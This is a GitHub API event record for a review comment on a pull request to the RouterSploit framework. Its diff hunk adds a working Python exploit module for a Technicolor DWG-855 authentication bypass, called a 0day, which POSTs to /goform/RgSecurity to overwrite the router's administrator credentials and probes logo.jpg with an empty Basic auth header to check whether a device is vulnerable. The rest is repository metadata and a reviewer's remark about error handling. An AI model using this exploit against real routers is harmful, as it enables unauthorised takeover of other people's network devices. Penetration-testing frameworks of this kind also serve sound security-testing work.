{"action":"created","comment":{"url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/comments/88110725","pull_request_review_id":8694038,"id":88110725,"diff_hunk":"@@ -0,0 +1,82 @@\n+import binascii\n+\n+from routersploit import (\n+    exploits,\n+    print_success,\n+    print_error,\n+    print_status,\n+    sanitize_url,\n+    http_request,\n+    mute,\n+    validators\n+)\n+\n+\n+class Exploit(exploits.Exploit):\n+    \"\"\"\n+    Exploit implementation for Technicolor DWG-855 Authentication Bypass vulnerability.\n+    If the target is vulnerable, it allows us to overwrite arbitrary configuration parameters.\n+    \"\"\"\n+    __info__ = {\n+        'name': 'Technicolor DWG-855 Authentication Bypass vulnerability.',\n+        'description': 'Module exploits Technicolor DWG-855 Authentication Bypass vulnerability which allows changing administrator\\'s password.\\n\\nNOTE: This module will errase previous username&pass, this is NOT stealty.',\n+        'authors': [\n+            'JPaulMora <https://JPaulMora.GitHub.io>',\n+            # vulnerability discovery,routersploit module\n+        ],\n+        'references': [\n+            'No references, at time of write its a 0day. Check my page though I probably wrote something about it.',\n+        ],\n+        'devices': [\n+            'Technicolor DWG-855',\n+        ]\n+    }\n+\n+    target = exploits.Option('192.168.0.1', 'Target address e.g. http://192.168.0.1', validators=validators.url)\n+    port = exploits.Option(80, 'Target Port')\n+    nuser = exploits.Option('ruser', 'Overwrite old user with.. ')\n+    npass = exploits.Option('rpass', 'Overwrite old password with.. ')\n+\n+    # The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!\n+    vulnresp = binascii.unhexlify('114475636b7900')  # Hex data of 0x11 + \"Ducky\" + 0x00 found on image \"logo.jpg\"\n+\n+    def run(self):\n+        print_status(\"Changing \" + self.target + \" credentials to \" + self.nuser + \":\" + self.npass)\n+        url = sanitize_url(\"{}:{}/goform/RgSecurity\".format(self.target, self.port))\n+        headers = {u'Content-Type': u'application/x-www-form-urlencoded'}\n+        data = {\"HttpUserId\": self.nuser, \"Password\": self.npass, \"PasswordReEnter\": self.npass, \"RestoreFactoryNo\": \"0x00\"}\n+\n+        response = http_request(method=\"POST\", url=url, headers=headers, data=data)\n+\n+        if response is None:\n+            print_error(\"Target didn't answer request.\")\n+        elif self.vulnresp in response.text.encode('utf-8'):\n+            print_success(\"Credentials changed!\")\n+        elif response.status_code == 401:\n+            print_error(\"Target answered, denied access.\")\n+        else:\n+            print_error(\"Unknown error, submit an issue.\")\n+\n+    @mute\n+    def check(self):\n+        url = sanitize_url(\"{}:{}/logo.jpg\".format(self.target, self.port))\n+        user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'\n+        headers = {'User-Agent': user_agent,\n+                   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n+                   'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',\n+                   'Connection': 'keep-alive',\n+                   'Accept-Encoding': 'gzip, deflate',\n+                   'Authorization': 'Og==',  # this is base64(\":\")\n+                   'Cache-Control': 'no-cache',\n+                   'Connection': 'close'}\n+\n+        response = http_request(method=\"GET\", url=url, headers=headers)\n+\n+        if response is None:\n+            return False  # target is not vulnerable\n+        elif self.vulnresp in response.text.encode('utf-8'):","path":"routersploit/modules/exploits/technicolor/dwg855_authbypass.py","position":77,"original_position":77,"commit_id":"6e5c544df5b8458087a27ba7eb2a9b866e15b0cc","original_commit_id":"6e5c544df5b8458087a27ba7eb2a9b866e15b0cc","user":{"login":"0BuRner","id":1845905,"avatar_url":"https://avatars.githubusercontent.com/u/1845905?v=3","gravatar_id":"","url":"https://api.github.com/users/0BuRner","html_url":"https://github.com/0BuRner","followers_url":"https://api.github.com/users/0BuRner/followers","following_url":"https://api.github.com/users/0BuRner/following{/other_user}","gists_url":"https://api.github.com/users/0BuRner/gists{/gist_id}","starred_url":"https://api.github.com/users/0BuRner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/0BuRner/subscriptions","organizations_url":"https://api.github.com/users/0BuRner/orgs","repos_url":"https://api.github.com/users/0BuRner/repos","events_url":"https://api.github.com/users/0BuRner/events{/privacy}","received_events_url":"https://api.github.com/users/0BuRner/received_events","type":"User","site_admin":false},"body":"I'm new to python but if I'm not mistaken, a runtime error will be throw if request is None...","created_at":"2016-11-15T20:54:44Z","updated_at":"2016-11-15T20:54:44Z","html_url":"https://github.com/reverse-shell/routersploit/pull/139#discussion_r88110725","pull_request_url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/139","_links":{"self":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/comments/88110725"},"html":{"href":"https://github.com/reverse-shell/routersploit/pull/139#discussion_r88110725"},"pull_request":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/139"}}},"pull_request":{"url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/139","id":93478192,"html_url":"https://github.com/reverse-shell/routersploit/pull/139","diff_url":"https://github.com/reverse-shell/routersploit/pull/139.diff","patch_url":"https://github.com/reverse-shell/routersploit/pull/139.patch","issue_url":"https://api.github.com/repos/reverse-shell/routersploit/issues/139","number":139,"state":"open","locked":false,"title":"Create dwg855_authbypass.py","user":{"login":"0BuRner","id":1845905,"avatar_url":"https://avatars.githubusercontent.com/u/1845905?v=3","gravatar_id":"","url":"https://api.github.com/users/0BuRner","html_url":"https://github.com/0BuRner","followers_url":"https://api.github.com/users/0BuRner/followers","following_url":"https://api.github.com/users/0BuRner/following{/other_user}","gists_url":"https://api.github.com/users/0BuRner/gists{/gist_id}","starred_url":"https://api.github.com/users/0BuRner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/0BuRner/subscriptions","organizations_url":"https://api.github.com/users/0BuRner/orgs","repos_url":"https://api.github.com/users/0BuRner/repos","events_url":"https://api.github.com/users/0BuRner/events{/privacy}","received_events_url":"https://api.github.com/users/0BuRner/received_events","type":"User","site_admin":false},"body":"From https://github.com/JPaulMora/routersploit","created_at":"2016-11-13T16:37:52Z","updated_at":"2016-11-15T20:54:44Z","closed_at":null,"merged_at":null,"merge_commit_sha":"8819961958797ea7b5b37a03c63134278f46b7df","assignee":null,"assignees":[],"milestone":null,"commits_url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/139/commits","review_comments_url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/139/comments","review_comment_url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/comments{/number}","comments_url":"https://api.github.com/repos/reverse-shell/routersploit/issues/139/comments","statuses_url":"https://api.github.com/repos/reverse-shell/routersploit/statuses/6e5c544df5b8458087a27ba7eb2a9b866e15b0cc","head":{"label":"0BuRner:patch-1","ref":"patch-1","sha":"6e5c544df5b8458087a27ba7eb2a9b866e15b0cc","user":{"login":"0BuRner","id":1845905,"avatar_url":"https://avatars.githubusercontent.com/u/1845905?v=3","gravatar_id":"","url":"https://api.github.com/users/0BuRner","html_url":"https://github.com/0BuRner","followers_url":"https://api.github.com/users/0BuRner/followers","following_url":"https://api.github.com/users/0BuRner/following{/other_user}","gists_url":"https://api.github.com/users/0BuRner/gists{/gist_id}","starred_url":"https://api.github.com/users/0BuRner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/0BuRner/subscriptions","organizations_url":"https://api.github.com/users/0BuRner/orgs","repos_url":"https://api.github.com/users/0BuRner/repos","events_url":"https://api.github.com/users/0BuRner/events{/privacy}","received_events_url":"https://api.github.com/users/0BuRner/received_events","type":"User","site_admin":false},"repo":{"id":73628423,"name":"routersploit","full_name":"0BuRner/routersploit","owner":{"login":"0BuRner","id":1845905,"avatar_url":"https://avatars.githubusercontent.com/u/1845905?v=3","gravatar_id":"","url":"https://api.github.com/users/0BuRner","html_url":"https://github.com/0BuRner","followers_url":"https://api.github.com/users/0BuRner/followers","following_url":"https://api.github.com/users/0BuRner/following{/other_user}","gists_url":"https://api.github.com/users/0BuRner/gists{/gist_id}","starred_url":"https://api.github.com/users/0BuRner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/0BuRner/subscriptions","organizations_url":"https://api.github.com/users/0BuRner/orgs","repos_url":"https://api.github.com/users/0BuRner/repos","events_url":"https://api.github.com/users/0BuRner/events{/privacy}","received_events_url":"https://api.github.com/users/0BuRner/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/0BuRner/routersploit","description":"The Router Exploitation Framework","fork":true,"url":"https://api.github.com/repos/0BuRner/routersploit","forks_url":"https://api.github.com/repos/0BuRner/routersploit/forks","keys_url":"https://api.github.com/repos/0BuRner/routersploit/keys{/key_id}","collaborators_url":"https://api.github.com/repos/0BuRner/routersploit/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/0BuRner/routersploit/teams","hooks_url":"https://api.github.com/repos/0BuRner/routersploit/hooks","issue_events_url":"https://api.github.com/repos/0BuRner/routersploit/issues/events{/number}","events_url":"https://api.github.com/repos/0BuRner/routersploit/events","assignees_url":"https://api.github.com/repos/0BuRner/routersploit/assignees{/user}","branches_url":"https://api.github.com/repos/0BuRner/routersploit/branches{/branch}","tags_url":"https://api.github.com/repos/0BuRner/routersploit/tags","blobs_url":"https://api.github.com/repos/0BuRner/routersploit/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/0BuRner/routersploit/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/0BuRner/routersploit/git/refs{/sha}","trees_url":"https://api.github.com/repos/0BuRner/routersploit/git/trees{/sha}","statuses_url":"https://api.github.com/repos/0BuRner/routersploit/statuses/{sha}","languages_url":"https://api.github.com/repos/0BuRner/routersploit/languages","stargazers_url":"https://api.github.com/repos/0BuRner/routersploit/stargazers","contributors_url":"https://api.github.com/repos/0BuRner/routersploit/contributors","subscribers_url":"https://api.github.com/repos/0BuRner/routersploit/subscribers","subscription_url":"https://api.github.com/repos/0BuRner/routersploit/subscription","commits_url":"https://api.github.com/repos/0BuRner/routersploit/commits{/sha}","git_commits_url":"https://api.github.com/repos/0BuRner/routersploit/git/commits{/sha}","comments_url":"https://api.github.com/repos/0BuRner/routersploit/comments{/number}","issue_comment_url":"https://api.github.com/repos/0BuRner/routersploit/issues/comments{/number}","contents_url":"https://api.github.com/repos/0BuRner/routersploit/contents/{+path}","compare_url":"https://api.github.com/repos/0BuRner/routersploit/compare/{base}...{head}","merges_url":"https://api.github.com/repos/0BuRner/routersploit/merges","archive_url":"https://api.github.com/repos/0BuRner/routersploit/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/0BuRner/routersploit/downloads","issues_url":"https://api.github.com/repos/0BuRner/routersploit/issues{/number}","pulls_url":"https://api.github.com/repos/0BuRner/routersploit/pulls{/number}","milestones_url":"https://api.github.com/repos/0BuRner/routersploit/milestones{/number}","notifications_url":"https://api.github.com/repos/0BuRner/routersploit/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/0BuRner/routersploit/labels{/name}","releases_url":"https://api.github.com/repos/0BuRner/routersploit/releases{/id}","deployments_url":"https://api.github.com/repos/0BuRner/routersploit/deployments","created_at":"2016-11-13T16:33:54Z","updated_at":"2016-11-13T16:33:56Z","pushed_at":"2016-11-13T19:04:42Z","git_url":"git://github.com/0BuRner/routersploit.git","ssh_url":"git@github.com:0BuRner/routersploit.git","clone_url":"https://github.com/0BuRner/routersploit.git","svn_url":"https://github.com/0BuRner/routersploit","homepage":null,"size":562,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"reverse-shell:master","ref":"master","sha":"ab79981876944a99fdc744d7bc855c19aa63f01e","user":{"login":"reverse-shell","id":16528770,"avatar_url":"https://avatars.githubusercontent.com/u/16528770?v=3","gravatar_id":"","url":"https://api.github.com/users/reverse-shell","html_url":"https://github.com/reverse-shell","followers_url":"https://api.github.com/users/reverse-shell/followers","following_url":"https://api.github.com/users/reverse-shell/following{/other_user}","gists_url":"https://api.github.com/users/reverse-shell/gists{/gist_id}","starred_url":"https://api.github.com/users/reverse-shell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/reverse-shell/subscriptions","organizations_url":"https://api.github.com/users/reverse-shell/orgs","repos_url":"https://api.github.com/users/reverse-shell/repos","events_url":"https://api.github.com/users/reverse-shell/events{/privacy}","received_events_url":"https://api.github.com/users/reverse-shell/received_events","type":"Organization","site_admin":false},"repo":{"id":55058317,"name":"routersploit","full_name":"reverse-shell/routersploit","owner":{"login":"reverse-shell","id":16528770,"avatar_url":"https://avatars.githubusercontent.com/u/16528770?v=3","gravatar_id":"","url":"https://api.github.com/users/reverse-shell","html_url":"https://github.com/reverse-shell","followers_url":"https://api.github.com/users/reverse-shell/followers","following_url":"https://api.github.com/users/reverse-shell/following{/other_user}","gists_url":"https://api.github.com/users/reverse-shell/gists{/gist_id}","starred_url":"https://api.github.com/users/reverse-shell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/reverse-shell/subscriptions","organizations_url":"https://api.github.com/users/reverse-shell/orgs","repos_url":"https://api.github.com/users/reverse-shell/repos","events_url":"https://api.github.com/users/reverse-shell/events{/privacy}","received_events_url":"https://api.github.com/users/reverse-shell/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/reverse-shell/routersploit","description":"The Router Exploitation Framework","fork":false,"url":"https://api.github.com/repos/reverse-shell/routersploit","forks_url":"https://api.github.com/repos/reverse-shell/routersploit/forks","keys_url":"https://api.github.com/repos/reverse-shell/routersploit/keys{/key_id}","collaborators_url":"https://api.github.com/repos/reverse-shell/routersploit/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/reverse-shell/routersploit/teams","hooks_url":"https://api.github.com/repos/reverse-shell/routersploit/hooks","issue_events_url":"https://api.github.com/repos/reverse-shell/routersploit/issues/events{/number}","events_url":"https://api.github.com/repos/reverse-shell/routersploit/events","assignees_url":"https://api.github.com/repos/reverse-shell/routersploit/assignees{/user}","branches_url":"https://api.github.com/repos/reverse-shell/routersploit/branches{/branch}","tags_url":"https://api.github.com/repos/reverse-shell/routersploit/tags","blobs_url":"https://api.github.com/repos/reverse-shell/routersploit/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/reverse-shell/routersploit/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/reverse-shell/routersploit/git/refs{/sha}","trees_url":"https://api.github.com/repos/reverse-shell/routersploit/git/trees{/sha}","statuses_url":"https://api.github.com/repos/reverse-shell/routersploit/statuses/{sha}","languages_url":"https://api.github.com/repos/reverse-shell/routersploit/languages","stargazers_url":"https://api.github.com/repos/reverse-shell/routersploit/stargazers","contributors_url":"https://api.github.com/repos/reverse-shell/routersploit/contributors","subscribers_url":"https://api.github.com/repos/reverse-shell/routersploit/subscribers","subscription_url":"https://api.github.com/repos/reverse-shell/routersploit/subscription","commits_url":"https://api.github.com/repos/reverse-shell/routersploit/commits{/sha}","git_commits_url":"https://api.github.com/repos/reverse-shell/routersploit/git/commits{/sha}","comments_url":"https://api.github.com/repos/reverse-shell/routersploit/comments{/number}","issue_comment_url":"https://api.github.com/repos/reverse-shell/routersploit/issues/comments{/number}","contents_url":"https://api.github.com/repos/reverse-shell/routersploit/contents/{+path}","compare_url":"https://api.github.com/repos/reverse-shell/routersploit/compare/{base}...{head}","merges_url":"https://api.github.com/repos/reverse-shell/routersploit/merges","archive_url":"https://api.github.com/repos/reverse-shell/routersploit/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/reverse-shell/routersploit/downloads","issues_url":"https://api.github.com/repos/reverse-shell/routersploit/issues{/number}","pulls_url":"https://api.github.com/repos/reverse-shell/routersploit/pulls{/number}","milestones_url":"https://api.github.com/repos/reverse-shell/routersploit/milestones{/number}","notifications_url":"https://api.github.com/repos/reverse-shell/routersploit/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/reverse-shell/routersploit/labels{/name}","releases_url":"https://api.github.com/repos/reverse-shell/routersploit/releases{/id}","deployments_url":"https://api.github.com/repos/reverse-shell/routersploit/deployments","created_at":"2016-03-30T11:43:12Z","updated_at":"2016-11-15T19:38:34Z","pushed_at":"2016-11-13T19:04:43Z","git_url":"git://github.com/reverse-shell/routersploit.git","ssh_url":"git@github.com:reverse-shell/routersploit.git","clone_url":"https://github.com/reverse-shell/routersploit.git","svn_url":"https://github.com/reverse-shell/routersploit","homepage":null,"size":743,"stargazers_count":3820,"watchers_count":3820,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":448,"mirror_url":null,"open_issues_count":16,"forks":448,"open_issues":16,"watchers":3820,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/139"},"html":{"href":"https://github.com/reverse-shell/routersploit/pull/139"},"issue":{"href":"https://api.github.com/repos/reverse-shell/routersploit/issues/139"},"comments":{"href":"https://api.github.com/repos/reverse-shell/routersploit/issues/139/comments"},"review_comments":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/139/comments"},"review_comment":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/139/commits"},"statuses":{"href":"https://api.github.com/repos/reverse-shell/routersploit/statuses/6e5c544df5b8458087a27ba7eb2a9b866e15b0cc"}}}}
{"actor":{"display_login":"0BuRner"}}